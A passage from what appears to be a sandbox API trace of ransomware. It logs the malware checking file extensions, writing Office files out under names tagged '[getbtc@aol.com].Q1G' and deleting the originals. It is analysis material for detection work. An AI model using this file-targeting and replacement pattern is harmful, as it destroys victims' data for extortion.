lstrlenW (lpString=".jpg") returned 4 [0248.473] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0248.473] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0248.474] lstrlenW (lpString="FLOCH.VRD") returned 9 [0248.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.476] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2028) returned 1 [0248.476] CloseHandle (hObject=0x200) returned 1 [0248.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 0x20 [0248.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.476] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.476] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.477] GetLastError () returned 0x0 [0248.477] ReadFile (in: hFile=0x200, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x7ec, lpOverlapped=0x0) returned 1 [0248.479] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0248.480] ReadFile (in: hFile=0x200, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.480] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0248.480] SetEndOfFile (hFile=0x3bc) returned 1 [0248.481] CloseHandle (hObject=0x3bc) returned 1 [0248.481] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.481] SetEndOfFile (hFile=0x200) returned 1 [0248.546] CloseHandle (hObject=0x200) returned 1 [0248.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 1 [0248.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.564] lstrlenW (lpString=".doc") returned 4 [0248.564] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.564] lstrlenW (lpString=".docx") returned 5 [0248.564] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0248.564] lstrlenW (lpString=".pdf") returned 4 [0248.564] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.564] lstrlenW (lpString=".xls") returned 4 [0248.564] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.564] lstrlenW (lpString=".xlsx") returned 5 [0248.564] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0248.564] lstrlenW (lpString=".ppt") returned 4 [0248.564] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString=".zip") returned 4 [0248.565] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.565] lstrlenW (lpString=".rar") returned 4 [0248.565] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString=".bz2") returned 4 [0248.565] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString=".7z") returned 3 [0248.565] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString=".dbf") returned 4 [0248.565] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString=".1cd") returned 4 [0248.565] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString=".jpg") returned 4 [0248.565] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString=".doc") returned 4 [0248.565] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString=".docx") returned 5 [0248.565] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1 [0248.565] lstrlenW (lpString=".pdf") returned 4 [0248.565] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString=".xls") returned 4 [0248.565] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0248.565] lstrlenW (lpString=".xlsx") returned 5 [0248.565] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1 [0248.565] lstrlenW (lpString=".ppt") returned 4 [0248.565] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0248.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.565] lstrlenW (lpString=".zip") returned 4 [0248.565] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0248.565] lstrlenW (lpString=".rar") returned 4 [0248.565] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0248.566] lstrlenW (lpString=".bz2") returned 4 [0248.566] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0248.566] lstrlenW (lpString=".7z") returned 3 [0248.566] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0248.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.566] lstrlenW (lpString=".dbf") returned 4 [0248.566] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0248.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.566] lstrlenW (lpString=".1cd") returned 4 [0248.566] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0248.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57 [0248.566] lstrlenW (lpString=".jpg") returned 4 [0248.566] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0248.566] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0248.566] lstrlenW (lpString="GRAPH.HXS") returned 9 [0248.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.566] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=610086) returned 1 [0248.566] CloseHandle (hObject=0x3c0) returned 1 [0248.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 0x20 [0248.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.569] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.569] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.591] GetLastError () returned 0x0 [0248.591] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x94f26, lpOverlapped=0x0) returned 1 [0248.708] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x94f30, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x94f30, lpOverlapped=0x0) returned 1 [0248.719] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0248.719] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0248.719] SetEndOfFile (hFile=0x3c0) returned 1 [0248.766] CloseHandle (hObject=0x3c0) returned 1 [0248.766] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0248.766] SetEndOfFile (hFile=0x3ac) returned 1 [0249.072] CloseHandle (hObject=0x3ac) returned 1 [0249.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs")) returned 1 [0249.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.073] lstrlenW (lpString=".doc") returned 4 [0249.073] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.073] lstrlenW (lpString=".docx") returned 5 [0249.073] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0249.073] lstrlenW (lpString=".pdf") returned 4 [0249.073] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.073] lstrlenW (lpString=".xls") returned 4 [0249.073] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.073] lstrlenW (lpString=".xlsx") returned 5 [0249.073] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0249.073] lstrlenW (lpString=".ppt") returned 4 [0249.073] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString=".zip") returned 4 [0249.074] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString=".rar") returned 4 [0249.074] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString=".bz2") returned 4 [0249.074] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.074] lstrlenW (lpString=".7z") returned 3 [0249.074] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString=".dbf") returned 4 [0249.074] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString=".1cd") returned 4 [0249.074] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString=".jpg") returned 4 [0249.074] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString=".doc") returned 4 [0249.074] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0249.074] lstrlenW (lpString=".docx") returned 5 [0249.074] lstrcmpiW (lpString1=".docx", lpString2="H.HXS") returned -1 [0249.074] lstrlenW (lpString=".pdf") returned 4 [0249.074] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString=".xls") returned 4 [0249.074] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString=".xlsx") returned 5 [0249.074] lstrcmpiW (lpString1=".xlsx", lpString2="H.HXS") returned -1 [0249.074] lstrlenW (lpString=".ppt") returned 4 [0249.074] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.074] lstrlenW (lpString=".zip") returned 4 [0249.074] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0249.074] lstrlenW (lpString=".rar") returned 4 [0249.074] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0249.075] lstrlenW (lpString=".bz2") returned 4 [0249.075] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0249.075] lstrlenW (lpString=".7z") returned 3 [0249.075] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0249.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.075] lstrlenW (lpString=".dbf") returned 4 [0249.075] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0249.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.075] lstrlenW (lpString=".1cd") returned 4 [0249.075] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0249.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS") returned 57 [0249.075] lstrlenW (lpString=".jpg") returned 4 [0249.075] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0249.075] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0249.075] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0249.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.767] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=214) returned 1 [0249.783] CloseHandle (hObject=0x398) returned 1 [0249.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 0x20 [0249.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0249.988] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.988] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0249.988] GetLastError () returned 0x0 [0249.988] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xd6, lpOverlapped=0x0) returned 1 [0249.989] WriteFile (in: hFile=0x390, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0249.990] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0249.990] WriteFile (in: hFile=0x390, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x100, lpOverlapped=0x0) returned 1 [0249.990] SetEndOfFile (hFile=0x390) returned 1 [0249.990] CloseHandle (hObject=0x390) returned 1 [0249.990] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0249.990] SetEndOfFile (hFile=0x360) returned 1 [0249.992] CloseHandle (hObject=0x360) returned 1 [0249.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 1 [0250.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.011] lstrlenW (lpString=".doc") returned 4 [0250.011] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.011] lstrlenW (lpString=".docx") returned 5 [0250.011] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.011] lstrlenW (lpString=".pdf") returned 4 [0250.011] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.011] lstrlenW (lpString=".xls") returned 4 [0250.011] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.011] lstrlenW (lpString=".xlsx") returned 5 [0250.011] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.011] lstrlenW (lpString=".ppt") returned 4 [0250.011] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString=".zip") returned 4 [0250.012] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString=".rar") returned 4 [0250.012] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString=".bz2") returned 4 [0250.012] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.012] lstrlenW (lpString=".7z") returned 3 [0250.012] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString=".dbf") returned 4 [0250.012] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString=".1cd") returned 4 [0250.012] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString=".jpg") returned 4 [0250.012] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString=".doc") returned 4 [0250.012] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.012] lstrlenW (lpString=".docx") returned 5 [0250.012] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.012] lstrlenW (lpString=".pdf") returned 4 [0250.012] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString=".xls") returned 4 [0250.012] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString=".xlsx") returned 5 [0250.012] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.012] lstrlenW (lpString=".ppt") returned 4 [0250.012] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.012] lstrlenW (lpString=".zip") returned 4 [0250.012] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString=".rar") returned 4 [0250.012] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.012] lstrlenW (lpString=".bz2") returned 4 [0250.013] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.013] lstrlenW (lpString=".7z") returned 3 [0250.013] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.013] lstrlenW (lpString=".dbf") returned 4 [0250.013] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.013] lstrlenW (lpString=".1cd") returned 4 [0250.013] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0250.013] lstrlenW (lpString=".jpg") returned 4 [0250.013] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.013] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.013] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22 [0250.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.013] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=113) returned 1 [0250.013] CloseHandle (hObject=0x3bc) returned 1 [0250.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 0x20 [0250.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 